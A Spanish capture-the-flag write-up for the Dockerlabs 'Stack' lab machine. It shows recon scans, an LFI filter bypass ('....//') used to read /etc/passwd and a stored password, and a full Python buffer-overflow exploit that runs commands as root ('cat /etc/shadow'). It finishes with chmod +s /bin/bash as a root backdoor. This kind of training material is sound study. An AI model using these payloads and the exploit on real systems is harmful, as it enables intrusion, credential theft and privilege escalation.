Stack
Writeup de la máquina Stack de Dockerlabs.
Reconocimiento
Gracias a la utiliadad de autodockerlabs desplegaremos el contenedor de Docker de manera más sencilla, vemos que la Dirección IP es la 172.17.0.2.
En primer lugar, realizamos un escaneo con Nmap sobre todos los puertos de la siguiente forma:
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 172.17.0.2 -oG allPorts
Observamos que tan solo están abiertos los puertos 80 y 22:
Gracias a la utilidad de getPorts nos copiamos los puertos que se encuentran abiertos, y ahora volviendo a usar Nmap realizaremos un escaneo más exhaustivo sobre los puertos abiertos de la siguiente forma:
1
nmap -p80,22 -sCV 172.17.0.2 -oN targeted
Observamos que no nos reporta nada interesante:
Explotación
Si nos dirigimos a la página web (Puerto 80) no veremos nada interesante a simple vista:
En cambio si pasamos a ver el código fuente observaremos lo siguiente en un comentario:
Como no encontramos nada más pasaremos a realizar fuzzing gracias a Gobuster de la siguiente fomr:
1
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,py
Tras realizar el escaneo observamos dos ficheros interesantes, file.php y *note.txt.
En el fichero note.txt nos encontramos la siguiente nota, por lo que nos da a pensar que de el fichero file.php era vulnerable a un LFI pero dicha vulnerabilidad parece haber sido corregida.
Si nos dirigimos al fichero file.php y probamos el LFI veremos como no nos funciona.
Como la nota dice que el LFI ha sido arreglado con la función str_replace() se me ocurre una forma de bypassear dicha protección y es que en vez de usar ../
usaré ....//
. Observaremos que al bypassear dicha comprobación nos muestra el contenido del /etc/passwd.
Remarcar que en el caso de que no nos hubiera mostrado nada ahora deberíamos haber realizar un fuzzing de parámetros con Wfuzz como se muestra a continuación:
wfuzz -c -u "http://172.17.0.2/file.php?FUZZ=....//....//....//....//etc/passwd" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt --hh 0
Una vez hemos conseguido explotar el LFI deberemos apuntar al fichero que nos decía en el comentario del index.html, es decir a: /usr/share/bob/password.txt y observaremos como nos muestra la contraseña para el usuario bob.
Finalmente, nos conectaremos exitosamente por ssh, ya que dicho puerto está abierto (22).
Escalada de privilegios
En este caso no hace falta hacer un Tratamiento de la TTY con poner un export TERM=xterm
funcionará todo correctamente. En este punto lo que debemos de hacer es elevar nuestro privilegios, para ello probaremos con las formas habituales y veremos que al buscar por archivos que tengan el SUID con find -perm -4000 2>/dev/null
observaremos un binario un tanto inusual.
Cuando ejecutamos dicho binario nos pide una contraseña y además nos dice que dicha contraseña debe de valer 0xdead
para entrar al modo administrador.
Buffer OverFlow
Lo primero que se me ocurre probar ante este tipo de binarios es un Buffer OverFlow, para ello introduciremos muchas A
y observaremos como nos aparece en error Segmentation fault
por lo que dicho binario es posible vulnerable a un Buffer OverFlow.
En este punto me transfiero el archivo a mi máquina host montando un servidor con python en la máquina víctima (python3 -m http.server 8080
) y con desde la máquina host me lo descargo (wget 172.17.0.2/command_exec
).
Análisis del Binario
Para entender mejor el funcionamiento del binario lo voy a analizar con ghydra. El código descompilado es el siguiente:
Las conclusiones que podemos sacar del código descompilado es que el offset es de 76 y además podemos corroborar que es vulnerable a un Buffer OverFlow pues está usando la función gets(). También hemos de tener el cuenta que si conseguimos establecer que el valor del password sea 0xdead
podremos acceder al modo administrador y ejecutar comandos gracias a la función system().
Controlando el RIP
En este punto empezaremos a crear nuestro script con el cual seremos capaces de interactuar con el binario, para controlar el RIP y así posteriormente poder ejecutar comandos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
import subprocess
offset = 76
junk = b"A" * 76
rip = b"B" * 8
payload = junk + rip
def main():
proceso = subprocess.Popen(
['./command_exec'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
proceso.stdin.write(payload + b"\n")
proceso.stdin.flush()
print(proceso.stdout.readline().decode())
if __name__ == '__main__':
main()
Al ejecutar el anterior script de python veremos como nos dice que la key es 42424242
por lo que ahora tenemos control total del RIP lo que nos permite tener control total sobre la password.
Ejecutando comandos
Haremos una pequeña actualización sobre el script, es decir sustituimos el RIP por la contraseña que hemos de introducir para acceder al modo administrador:
Cuando lo volvemos a ejecutar veremos como la key ahora vale dead
y además nos indica que hemos entrado en modo administrador.
Finalmente, debemos de actualizar el script añadiendo el comando que queremos de ejecutar, pues en el binario descompilado vemos que esta es la siguiente instrucción.
Es decir, el exploit de python quedaría finalmente así:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
import subprocess
import sys
offset = 76
junk = b"A" * 76
#rip = b"B" * 8
password = b"\xad\xde"
payload = junk + password
def get_command():
if len(sys.argv) == 2:
return sys.argv[1]
else:
print("\n[!] Debes de pasar como argumento el comando que deseas ejecutar. Ej: python3 exploit_bof.py \"cat /etc/shadow\"\n")
sys.exit(1)
def main(command):
proceso = subprocess.Popen(
['./command_exec'], # Ajustar en función de la ruta del binario
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
proceso.stdin.write(payload + b"\n")
proceso.stdin.flush()
print(proceso.stdout.readline().decode())
proceso.stdin.write(command.encode() + b"\n")
proceso.stdin.flush()
print(proceso.stdout.read().decode())
if __name__ == '__main__':
command = get_command()
main(command)
Finalmente, observamos como hemos podido ejecutar comandos como el usuario privilegiado (root). Por último, lo que haremos será copiarnos dicho exploit en la máquina víctima y ejecutarlo.
Para copiarnos el exploit en nuestra clipboard ejecutaremos la siguiente instrucción:
En el caso de que no nos funcione dicha instrucción deberemos de instalar
xclip
consudo apt install xclip
1
cat exploit_bof.py | xclip -sel clip
Una vez lo tenemos en la clipboard ejecutaremos nano exploit_bof.py
y pegaremos el exploit que recientemente habíamos copiado.
Destacar que en la máquina víctima el binario vulnerable se encuentra en
/opt/command_exec
por lo que debemos de cambiar la ruta en el exploit de python. Además, destacar que no me he transferido el archivo wget o curl porque dichas herramientas no se encuentran instaladas, pues de la forma que me lo he copiado no es que sea muy elegante.
Una vez en la máquina víctima ejecutaremos el exploit de python y veremos como podemos ejecutar comandos como root.
Llegados a este punto lo que haré será ejecutar el comando chmod +s /bin/bash
.
Finalmente, nos ejecutaremos una bash privilegiada con bash -p
y nos habremos convertido en root de forma efectiva (efective user).